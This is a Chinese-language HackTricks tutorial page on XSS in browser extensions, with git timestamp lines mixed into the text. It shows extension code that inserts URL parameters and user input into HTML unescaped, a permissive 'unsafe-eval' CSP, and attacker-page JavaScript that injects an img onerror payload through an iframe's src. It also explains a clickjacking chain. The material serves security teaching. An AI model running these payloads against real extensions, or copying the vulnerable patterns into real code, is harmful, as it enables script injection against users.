2023-12-31 04:43:12 +00:00
# BrowExt - XSS 示例
< details >
2024-02-05 20:18:17 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS红队专家) < / strong > < / a > < strong > ! < / strong > < / summary >
2023-12-31 04:43:12 +00:00
2024-02-05 20:18:17 +00:00
支持HackTricks的其他方式:
2023-12-31 04:43:12 +00:00
2024-02-05 20:18:17 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-09 08:09:21 +00:00
* **加入** 💬 [**Discord群** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群** ](https://t.me/peass ) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
2024-02-05 20:18:17 +00:00
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2023-12-31 04:43:12 +00:00
< / details >
2024-02-05 20:18:17 +00:00
## 通过Iframe进行跨站脚本( XSS)
2023-12-31 04:43:12 +00:00
2024-02-05 20:18:17 +00:00
在这个设置中,实现了一个**内容脚本**来实例化一个Iframe, 将带有查询参数的URL作为Iframe的来源:
2023-12-31 04:43:12 +00:00
```javascript
2024-02-05 20:18:17 +00:00
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
2023-12-31 04:43:12 +00:00
});
```
2024-02-05 20:18:17 +00:00
一个公开访问的HTML页面, **`message.html`**, 旨在根据URL中的参数动态向文档主体添加内容:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} < button id = 'detailBtn' > Details< / button > `);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
2023-12-31 04:43:12 +00:00
});
});
```
2024-02-09 08:09:21 +00:00
一个恶意脚本在对手的页面上执行, 修改了Iframe源的`content`参数,引入了一个**XSS payload**。这是通过更新Iframe的源以包含一个有害脚本来实现的:
2023-12-31 04:43:12 +00:00
```javascript
2024-02-05 20:18:17 +00:00
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "< img src = 'invalid' onerror = 'alert( \"XSS \")' > ";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` ;
2023-12-31 04:43:12 +00:00
2024-02-05 20:18:17 +00:00
document.querySelector("iframe").src = maliciousURL;
2023-12-31 04:43:12 +00:00
}, 1000);
```
2024-02-05 20:18:17 +00:00
一个过于宽松的内容安全策略,比如:
2023-12-31 04:43:12 +00:00
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
2024-02-05 20:18:17 +00:00
允许执行JavaScript, 使系统容易受到XSS攻击。
2023-12-31 04:43:12 +00:00
2024-02-09 08:09:21 +00:00
触发XSS的另一种方法是创建一个Iframe元素, 并将其源设置为包含有害脚本的`content`参数:
2023-12-31 04:43:12 +00:00
```javascript
2024-02-05 20:18:17 +00:00
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("< img src = 'x' onerror = 'alert( \"XSS \")' > ");
document.body.append(newFrame);
2023-12-31 04:43:12 +00:00
```
2024-02-09 08:09:21 +00:00
## 基于DOM的XSS + 点击劫持
2023-12-31 04:43:12 +00:00
2024-02-05 20:18:17 +00:00
这个例子取自[原始帖子](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)。
2024-02-09 08:09:21 +00:00
核心问题源自位于**`/html/bookmarks.html`**中的基于DOM的跨站脚本( XSS) 漏洞。有问题的JavaScript代码位于**`bookmarks.js`**中,具体如下:
2023-12-31 04:43:12 +00:00
```javascript
2024-02-05 20:18:17 +00:00
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
2023-12-31 04:43:12 +00:00
}).length) return false;
2024-02-05 20:18:17 +00:00
var bookmarkItem = $('< div class = "custom-button" > ');
bookmarkItem.html('< span class = "label" > ' + bookmarkName + '< / span > ');
bookmarkItem.append('< button class = "remove-btn" title = "delete" > x< / button > ');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
2023-12-31 04:43:12 +00:00
});
```
2024-02-09 08:09:21 +00:00
这段代码从**`txtName`**输入字段中获取**数值**,并使用**字符串拼接生成HTML**, 然后使用jQuery的`.append()`函数将其附加到DOM中。
2023-12-31 04:43:12 +00:00
2024-02-09 08:09:21 +00:00
通常, Chrome扩展的内容安全策略( CSP) 会防止此类漏洞。然而, 由于**通过‘ unsafe-eval’ 放宽了CSP**以及使用jQuery的DOM操作方法( 利用[`globalEval()`](https://api.jquery.com/jquery.globaleval/)将脚本传递给[`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)以在DOM插入时执行) , 仍然存在利用可能。
2023-12-31 04:43:12 +00:00
2024-02-09 08:09:21 +00:00
尽管这个漏洞很重要, 但其利用通常取决于用户交互: 访问页面、输入XSS有效负载并激活“添加”按钮。
2023-12-31 04:43:12 +00:00
2024-02-05 20:18:17 +00:00
为了增强这个漏洞,还利用了一个次要的**点击劫持**漏洞。Chrome扩展的清单展示了一个广泛的`web_accessible_resources`策略:
2023-12-31 04:43:12 +00:00
```json
"web_accessible_resources": [
2024-02-05 20:18:17 +00:00
"html/bookmarks.html",
2023-12-31 04:43:12 +00:00
"dist/*",
"assets/*",
"font/*",
2024-02-05 20:18:17 +00:00
[...]
2023-12-31 04:43:12 +00:00
],
```
2024-02-09 08:09:21 +00:00
值得注意的是,**`/html/bookmarks.html`** 页面容易被嵌套,因此容易受到**点击劫持**的攻击。攻击者可以利用这种漏洞将页面嵌套到攻击者的网站中, 并使用DOM元素覆盖页面以欺骗性地重新设计界面。这种操纵会导致受害者无意中与底层扩展进行交互。
2023-12-31 04:43:12 +00:00
## 参考资料
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/ ](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/ )
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/ ](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/ )
< details >
2024-02-05 20:18:17 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2023-12-31 04:43:12 +00:00
支持HackTricks的其他方式:
2024-02-05 20:18:17 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
2024-02-09 08:09:21 +00:00
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群** ](https://t.me/peass ) 或在**Twitter**上关注我们 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
2024-02-05 20:18:17 +00:00
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2023-12-31 04:43:12 +00:00
< / details >